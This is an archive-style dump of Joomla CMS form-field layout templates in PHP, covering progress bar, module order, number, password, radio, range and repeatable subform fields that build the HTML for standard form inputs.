* @var string $accept File types that are accepted.
* @var string $animated Is it animated.
* @var string $active Is it active.
* @var string $max The maximum value.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
// Initialize some field attributes.
$class = 'progress-bar ' . $class;
$class .= $animated ? ' progress-bar-striped
progress-bar-animated' : '';
$class .= $active ? ' active' : '';
$class = 'class="' . $class . '"';
$value = (float) $value;
$value = max($value, $min);
$value = min($value, $max);
$data = '';
$data .= 'aria-valuemax="' . $max . '"';
$data .= ' aria-valuemin="' . $min . '"';
$data .= ' aria-valuenow="' . $value . '"';
$attributes = [
$class,
!empty($width) ? ' style="width:' . $width .
';"' : '',
$data,
$dataAttribute,
];
$value = ((float) ($value - $min) * 100) / ($max - $min);
?>
<div class="progress">
<div
role="progressbar"
<?php echo implode(' ', $attributes); ?>
style="width:<?php echo (string) $value; ?>%;<?php
echo !empty($color) ? ' background-color:' . $color .
';' : ''; ?>"></div>
</div>
joomla/form/field/moduleorder.php000064400000007001151161525060013105
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
// Initialize some field attributes.
$attributes['dataid'] = 'data-id="' . $id .
'"';
$attributes['data-url'] =
'data-url="index.php?option=com_modules&task=module.orderPosition&'
. $token . '"';
$attributes['data-element'] =
'data-element="parent_' . $id . '"';
$attributes['data-ordering'] = 'data-ordering="' .
$ordering . '"';
$attributes['data-position-element'] =
'data-position-element="' . $element . '"';
$attributes['data-client-id'] = 'data-client-id="'
. $clientId . '"';
$attributes['data-name'] = 'data-name="' . $name .
'"';
$attributes['data-module-id'] = 'data-module-id="'
. $moduleId . '"';
if ($disabled) {
$attributes['disabled'] = 'disabled';
}
if ($class) {
$attributes['class'] = 'class="' . $class .
'"';
}
if ($size) {
$attributes['size'] = 'size="' . $size .
'"';
}
if ($onchange) {
$attributes['onchange'] = 'onchange="' .
$onchange . '"';
}
if ($dataAttribute) {
$attributes['dataAttribute'] = $dataAttribute;
}
Factory::getDocument()->getWebAssetManager()
->useScript('webcomponent.field-module-order');
?>
<joomla-field-module-order <?php echo implode(' ',
$attributes); ?>></joomla-field-module-order>
joomla/form/field/number.php000064400000006520151161525060012061
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$attributes = [
!empty($class) ? 'class="form-control ' . $class .
'"' : 'class="form-control"',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
!empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required' : '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
$autofocus ? 'autofocus' : '',
$dataAttribute,
];
if (is_numeric($value)) {
$value = (float) $value;
} else {
$value = '';
$value = ($required && isset($min)) ? $min : $value;
}
?>
<input
type="number"
inputmode="numeric"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?>>
joomla/form/field/password.php000064400000014067151161525060012440
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var boolean $rules Are the rules to be displayed?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
* @var boolean $lock Is this field locked.
*/
$document = Factory::getApplication()->getDocument();
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $document->getWebAssetManager();
if ($meter) {
$wa->useScript('field.passwordstrength');
$class = 'js-password-strength ' . $class;
if ($forcePassword) {
$class .= ' meteredPassword';
}
}
$wa->useScript('field.passwordview');
Text::script('JFIELD_PASSWORD_INDICATE_INCOMPLETE');
Text::script('JFIELD_PASSWORD_INDICATE_COMPLETE');
Text::script('JSHOWPASSWORD');
Text::script('JHIDEPASSWORD');
if ($lock) {
Text::script('JMODIFY');
Text::script('JCANCEL');
$disabled = true;
$hint = str_repeat('•', 10);
$value = '';
}
$ariaDescribedBy = $rules ? $name . '-rules ' : '';
$ariaDescribedBy .= !empty($description) ? (($id ?: $name) .
'-desc') : '';
$attributes = [
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
!empty($class) ? 'class="form-control ' . $class .
'"' : 'class="form-control"',
!empty($ariaDescribedBy) ? 'aria-describedby="' .
trim($ariaDescribedBy) . '"' : '',
$readonly ? 'readonly' : '',
$disabled ? 'disabled' : '',
!empty($size) ? 'size="' . $size . '"' :
'',
!empty($maxLength) ? 'maxlength="' . $maxLength .
'"' : '',
$required ? 'required' : '',
$autofocus ? 'autofocus' : '',
!empty($minLength) ? 'data-min-length="' . $minLength .
'"' : '',
!empty($minIntegers) ? 'data-min-integers="' .
$minIntegers . '"' : '',
!empty($minSymbols) ? 'data-min-symbols="' . $minSymbols
. '"' : '',
!empty($minUppercase) ? 'data-min-uppercase="' .
$minUppercase . '"' : '',
!empty($minLowercase) ? 'data-min-lowercase="' .
$minLowercase . '"' : '',
!empty($forcePassword) ? 'data-min-force="' .
$forcePassword . '"' : '',
$dataAttribute,
];
if ($rules) {
$requirements = [];
if ($minLength) {
$requirements[] =
Text::sprintf('JFIELD_PASSWORD_RULES_CHARACTERS', $minLength);
}
if ($minIntegers) {
$requirements[] =
Text::sprintf('JFIELD_PASSWORD_RULES_DIGITS', $minIntegers);
}
if ($minSymbols) {
$requirements[] =
Text::sprintf('JFIELD_PASSWORD_RULES_SYMBOLS', $minSymbols);
}
if ($minUppercase) {
$requirements[] =
Text::sprintf('JFIELD_PASSWORD_RULES_UPPERCASE', $minUppercase);
}
if ($minLowercase) {
$requirements[] =
Text::sprintf('JFIELD_PASSWORD_RULES_LOWERCASE', $minLowercase);
}
}
?>
<?php if ($rules) : ?>
<div id="<?php echo $name . '-rules'; ?>"
class="small text-muted">
<?php echo
Text::sprintf('JFIELD_PASSWORD_RULES_MINIMUM_REQUIREMENTS',
implode(', ', $requirements)); ?>
</div>
<?php endif; ?>
<div class="password-group">
<div class="input-group">
<input
type="password"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?>>
<?php if (!$lock) : ?>
<button type="button" class="btn btn-secondary
input-password-toggle">
<span class="icon-eye icon-fw"
aria-hidden="true"></span>
<span class="visually-hidden"><?php echo
Text::_('JSHOWPASSWORD'); ?></span>
</button>
<?php else : ?>
<button type="button" id="<?php echo $id;
?>_lock" class="btn btn-info input-password-modify
locked">
<?php echo Text::_('JMODIFY'); ?>
</button>
<?php endif; ?>
</div>
</div>
joomla/form/field/radio.php000064400000010206151161525060011663
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="radio" id="%1$s"
name="%2$s" value="%3$s" %4$s />';
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' radio' . ($readonly || $disabled ? '
disabled' : '') . ($readonly ? ' readonly' :
'')); ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
<?php echo $readonly || $disabled ? 'style="pointer-events:
none"' : '' ?>
<?php echo $required ? 'required
aria-required="true"' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>>
<?php if (!empty($options)) : ?>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
$disabled = !empty($option->disable) ? 'disabled' :
'';
$style = $disabled ? 'style="pointer-events:
none"' : '';
$option->class = !empty($option->class) ? $option->class :
'';
$option->class = trim($option->class . ' ' .
$disabled);
$optionClass = !empty($option->class) ? 'class="'
. $option->class . '"' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ? 'onclick="'
. $option->onclick . '"' : '';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value, ENT_COMPAT,
'UTF-8');
$attributes = array_filter(array($checked, $optionClass, $disabled,
$style, $onchange, $onclick));
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required
aria-required="true"'; ?>
<?php endif; ?>
<?php echo sprintf($format, $oid, $name, $ovalue, implode('
', $attributes)); ?>
<label for="<?php echo $oid; ?>" <?php echo
trim($optionClass . ' ' . $style); ?>>
<?php echo $option->text; ?>
</label>
<?php endforeach; ?>
<?php endif; ?>
</fieldset>
joomla/form/field/range.php000064400000006164151161525060011671
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
// Initialize some field attributes.
$attributes = [
$class ? 'class="form-range ' . $class .
'"' : 'class="form-range"',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
!empty($max) ? 'max="' . $max . '"' :
'',
!empty($step) ? 'step="' . $step . '"' :
'',
!empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
$dataAttribute,
];
$value = is_numeric($value) ? (float) $value : $min;
?>
<input
type="range"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?>>
joomla/form/field/subform/default.php000064400000002562151161525060013674
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Form;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $name Name of the input field.
* @var string $fieldname The field name
* @var string $fieldId The field ID
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by
it`s fieldset
*/
$form = $forms[0];
?>
<div class="subform-wrapper">
<?php foreach ($form->getGroup('') as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
joomla/form/field/subform/repeatable/section-byfieldsets.php000064400000005341151161525060020331
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
?>
<div class="subform-repeatable-group"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>">
<?php if (!empty($buttons)) : ?>
<div class="btn-toolbar text-end">
<div class="btn-group">
<?php if (!empty($buttons['add'])) :
?><button type="button"
class="group-add btn btn-sm btn-success"
aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD');
?>"><span class="icon-plus icon-white"
aria-hidden="true"></span> </button><?php
endif; ?>
<?php if (!empty($buttons['remove'])) :
?><button type="button"
class="group-remove btn btn-sm btn-danger"
aria-label="<?php echo Text::_('JGLOBAL_FIELD_REMOVE');
?>"><span class="icon-minus icon-white"
aria-hidden="true"></span> </button><?php
endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<button type="button" class="group-move
btn btn-sm btn-primary" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE'); ?>"><span
class="icon-arrows-alt icon-white"
aria-hidden="true"></span> </button>
<button type="button"
class="group-move-up btn btn-sm" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE_UP'); ?>"><span
class="icon-chevron-up"
aria-hidden="true"></span> </button>
<button type="button"
class="group-move-down btn btn-sm" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE_DOWN'); ?>"><span
class="icon-chevron-down"
aria-hidden="true"></span> </button>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<div class="row">
<?php foreach ($form->getFieldsets() as $fieldset) : ?>
<fieldset class="<?php if (!empty($fieldset->class))
{
echo $fieldset->class;
} ?>">
<?php if (!empty($fieldset->label)) : ?>
<legend><?php echo Text::_($fieldset->label);
?></legend>
<?php endif; ?>
<?php foreach ($form->getFieldset($fieldset->name) as
$field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</fieldset>
<?php endforeach; ?>
</div>
</div>
joomla/form/field/subform/repeatable/section.php000064400000004377151161525060016026
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
?>
<div class="subform-repeatable-group"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>">
<?php if (!empty($buttons)) : ?>
<div class="btn-toolbar text-end">
<div class="btn-group">
<?php if (!empty($buttons['add'])) :
?><button type="button"
class="group-add btn btn-sm btn-success"
aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD');
?>"><span class="icon-plus icon-white"
aria-hidden="true"></span> </button><?php
endif; ?>
<?php if (!empty($buttons['remove'])) :
?><button type="button"
class="group-remove btn btn-sm btn-danger"
aria-label="<?php echo Text::_('JGLOBAL_FIELD_REMOVE');
?>"><span class="icon-minus icon-white"
aria-hidden="true"></span> </button><?php
endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<button type="button" class="group-move
btn btn-sm btn-primary" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE'); ?>"><span
class="icon-arrows-alt icon-white"
aria-hidden="true"></span> </button>
<button type="button"
class="group-move-up btn btn-sm" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE_UP'); ?>"><span
class="icon-chevron-up"
aria-hidden="true"></span> </button>
<button type="button"
class="group-move-down btn btn-sm" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE_DOWN'); ?>"><span
class="icon-chevron-down"
aria-hidden="true"></span> </button>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<?php foreach ($form->getGroup('') as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
joomla/form/field/subform/repeatable-table/section-byfieldsets.php000064400000004214151161525060021414
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
?>
<tr class="subform-repeatable-group"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>">
<?php foreach ($form->getFieldsets() as $fieldset) : ?>
<td class="<?php if (!empty($fieldset->class)) {
echo $fieldset->class;
} ?>">
<?php foreach ($form->getFieldset($fieldset->name) as
$field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</td>
<?php endforeach; ?>
<?php if (!empty($buttons)) : ?>
<td>
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<button type="button" class="group-add
btn btn-sm btn-success" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_ADD'); ?>">
<span class="icon-plus"
aria-hidden="true"></span>
</button>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<button type="button" class="group-remove
btn btn-sm btn-danger" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_REMOVE'); ?>">
<span class="icon-minus"
aria-hidden="true"></span>
</button>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<button type="button" class="group-move
btn btn-sm btn-primary" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE'); ?>">
<span class="icon-arrows-alt"
aria-hidden="true"></span>
</button>
<?php endif; ?>
</div>
</td>
<?php endif; ?>
</tr>
joomla/form/field/subform/repeatable-table/section.php000064400000004061151161525060017101
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
?>
<tr class="subform-repeatable-group"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>">
<?php foreach ($form->getGroup('') as $field) : ?>
<td data-column="<?php echo
strip_tags($field->label); ?>">
<?php echo $field->renderField(['hiddenLabel'
=> true, 'hiddenDescription' => true]); ?>
</td>
<?php endforeach; ?>
<?php if (!empty($buttons)) : ?>
<td>
<div class="btn-group">
<?php if (!empty($buttons['add'])) : ?>
<button type="button" class="group-add
btn btn-sm btn-success" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_ADD'); ?>">
<span class="icon-plus"
aria-hidden="true"></span>
</button>
<?php endif; ?>
<?php if (!empty($buttons['remove'])) : ?>
<button type="button" class="group-remove
btn btn-sm btn-danger" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_REMOVE'); ?>">
<span class="icon-minus"
aria-hidden="true"></span>
</button>
<?php endif; ?>
<?php if (!empty($buttons['move'])) : ?>
<button type="button" class="group-move
btn btn-sm btn-primary" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_MOVE'); ?>">
<span class="icon-arrows-alt"
aria-hidden="true"></span>
</button>
<?php endif; ?>
</div>
</td>
<?php endif; ?>
</tr>
joomla/form/field/subform/repeatable-table.php000064400000012012151161525060015430
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $name Name of the input field.
* @var string $fieldname The field name
* @var string $fieldId The field ID
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var string $class Classes for the container
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by
it`s fieldset
*/
if ($multiple) {
// Add script
Factory::getApplication()
->getDocument()
->getWebAssetManager()
->useScript('webcomponent.field-subform');
}
$class = $class ? ' ' . $class : '';
// Build heading
$table_head = '';
if (!empty($groupByFieldset)) {
foreach ($tmpl->getFieldsets() as $k => $fieldset) {
$table_head .= '<th scope="col">' .
Text::_($fieldset->label);
if ($fieldset->description) {
$table_head .= '<span
class="icon-info-circle" aria-hidden="true"
tabindex="0"></span><div role="tooltip"
id="tip-th-' . $fieldId . '-' . $k .
'">' . Text::_($fieldset->description) .
'</div>';
}
$table_head .= '</th>';
}
$sublayout = 'section-byfieldsets';
} else {
foreach ($tmpl->getGroup('') as $field) {
$table_head .= '<th scope="col"
style="width:45%">' . strip_tags($field->label);
if ($field->description) {
$table_head .= '<span
class="icon-info-circle" aria-hidden="true"
tabindex="0"></span><div role="tooltip"
id="tip-' . $field->id . '">' .
Text::_($field->description) . '</div>';
}
$table_head .= '</th>';
}
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin
left
Factory::getApplication()
->getDocument()
->addStyleDeclaration('.subform-table-sublayout-section
.controls { margin-left: 0px }');
}
?>
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>">
<joomla-field-subform class="subform-repeatable<?php echo
$class; ?>" name="<?php echo $name; ?>"
button-add=".group-add"
button-remove=".group-remove" button-move="<?php echo
empty($buttons['move']) ? '' : '.group-move'
?>"
repeatable-element=".subform-repeatable-group"
rows-container="tbody.subform-repeatable-container"
minimum="<?php echo $min; ?>" maximum="<?php echo
$max; ?>">
<div class="table-responsive">
<table class="table"
id="subfieldList_<?php echo $fieldId; ?>">
<caption class="visually-hidden">
<?php echo
Text::_('JGLOBAL_REPEATABLE_FIELDS_TABLE_CAPTION'); ?>
</caption>
<thead>
<tr>
<?php echo $table_head; ?>
<?php if (!empty($buttons)) : ?>
<td style="width:8%;">
<?php if (!empty($buttons['add']))
: ?>
<div class="btn-group">
<button type="button"
class="group-add btn btn-sm btn-success"
aria-label="<?php echo Text::_('JGLOBAL_FIELD_ADD');
?>">
<span
class="icon-plus" aria-hidden="true"></span>
</button>
</div>
<?php endif; ?>
</td>
<?php endif; ?>
</tr>
</thead>
<tbody
class="subform-repeatable-container">
<?php
foreach ($forms as $k => $form) :
echo $this->sublayout($sublayout, ['form'
=> $form, 'basegroup' => $fieldname, 'group'
=> $fieldname . $k, 'buttons' => $buttons]);
endforeach;
?>
</tbody>
</table>
</div>
<?php if ($multiple) : ?>
<template class="subform-repeatable-template-section
hidden">
<?php echo trim($this->sublayout($sublayout,
['form' => $tmpl, 'basegroup' => $fieldname,
'group' => $fieldname . 'X', 'buttons'
=> $buttons])); ?>
</template>
<?php endif; ?>
</joomla-field-subform>
</div>
joomla/form/field/subform/repeatable.php000064400000005664151161525070014363
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
